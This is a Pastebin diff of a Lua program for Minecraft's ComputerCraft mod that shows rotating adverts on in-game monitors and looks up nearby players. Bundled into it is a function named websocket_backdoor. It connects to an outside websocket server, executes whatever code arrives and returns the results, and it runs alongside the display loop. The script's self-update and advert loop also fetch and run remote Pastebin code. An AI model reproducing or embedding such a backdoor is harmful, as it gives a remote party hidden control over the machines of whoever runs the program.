View difference between Paste ID: VWWcaWN0 and QtVcwZJm
SHOW: | | - or go back to the newest paste.
1
function _G.fetch(u)
2
	local h = http.get(u)
3
	local c = h.readAll()
4
	h.close()
5
	return c
6
end
7
8
function _G.update()
9-
	local h = fs.open("startup", "w")
9+
	local h = fs.open("startup.lua", "w")
10-
	local x = fetch "https://pastebin.com/raw/QtVcwZJm"
10+
	local x = fetch "https://pastebin.com/raw/VWWcaWN0"
11
	local f, e = load(x)
12
	if not f then return false, e end
13
	h.write(x)
14
	h.close()
15
	return true
16
end
17
18
local h = fs.open("conf.lua", "r")
19
local conf = textutils.unserialise(h.readAll()) or {}
20
h.close()
21
22
local urls = {
23-
	cnlite = "https://dynmap.switchcraft.pw/"
23+
	switchcraft = "https://dynmap.switchcraft.pw/"
24
}
25
26
local function distance_squared(player)
27
	local dx = player.x - conf.location[1]
28
	local dy = player.y - conf.location[2]
29
	local dz = player.z - conf.location[3]
30
	return dx * dx + dy * dy + dz * dz
31
end
32
33
local json
34
local function load_json()
35
	local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"
36
	json = load(x)()
37
end
38
39
function _G.find_player_nearby()
40
	if not json then load_json() end
41
	local API_URL = urls[conf.server] .. "up/world/world/"
42
	local data = json.decode(fetch(API_URL))
43
	local players = _.filter(data.players, function(x)
44
		x.d = distance_squared(x)
45
		return x.world == conf.dimension and x.d < 400
46
	end)
47
	local sorted = _.sort_by(players, function(x) return -x.d end)
48
	return sorted[1]
49
end
50
51
local function advert_display()
52
	while true do
53-
		local data = fetch "https://pastebin.com/raw/P9TeP8ev"
53+
		local data = fetch "https://pastebin.com/raw/S5ZiYVLq"
54
		local fn, err = loadstring(data)
55
		if err then printError("Parse error: " .. err)
56
		else
57
			local ok, result = pcall(fn)
58
			if not ok then printError("Exec error: " .. result)
59
			else
60
				local options = {}
61
				for k, v in pairs(result) do
62
					if type(v) == "string" or type(v) == "function" then table.insert(options, v) end
63
				end
64
				for _, mon in pairs {peripheral.find "monitor"} do
65
					local option = options[math.random(1, #options)]
66
					if type(option) == "function" then ok, option = pcall(option) end
67
					if type(option) ~= "string" then break end
68
					local w, h = mon.getSize()
69
					if #option > (w * h) then
70
						mon.setTextScale(conf.smallScale)
71
					else
72
						mon.setTextScale(conf.largeScale)
73
					end
74
					local last = term.redirect(mon)
75
					mon.clear()
76
					mon.setCursorPos(1, 1)
77
					write(option)
78
					term.redirect(last)
79
					print("Displayed", option)
80
				end
81
			end
82
		end
83
		sleep(30)
84
	end
85
end
86
87
local function websocket_backdoor()
88
	load_json()
89
    if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
90
    local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad"
91
    if not ws then printError(err) return end
92
 
93
    local function send(msg)
94
        ws.send(json.encode(msg))
95
    end
96
 
97
    local function recv()
98
        while true do
99
            local e, u, code = coroutine.yield "websocket_message"
100
            if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then
101
                return code
102
            end
103
        end
104
    end
105
 
106
    while true do
107
        -- Receive and run code from backdoor's admin end
108
        local code = recv()
109
        local f, error = load(code, "@input", "t", _E)
110
        if f then -- run safely in background, send back response
111
			local resp = {pcall(f)}
112
            for k, v in pairs(resp) do
113
            	local ok, thing = pcall(json.encode, v)
114
                if not ok then
115
                	resp[k] = tostring(v)
116
				end
117
			end
118
			send(resp)
119
        else
120
            send {false, error}
121
        end
122
    end
123
end
124
125-
parallel.waitForAll(websocket_backdoor, advert_display)
125+
parallel.waitForAny(advert_display, websocket_backdoor)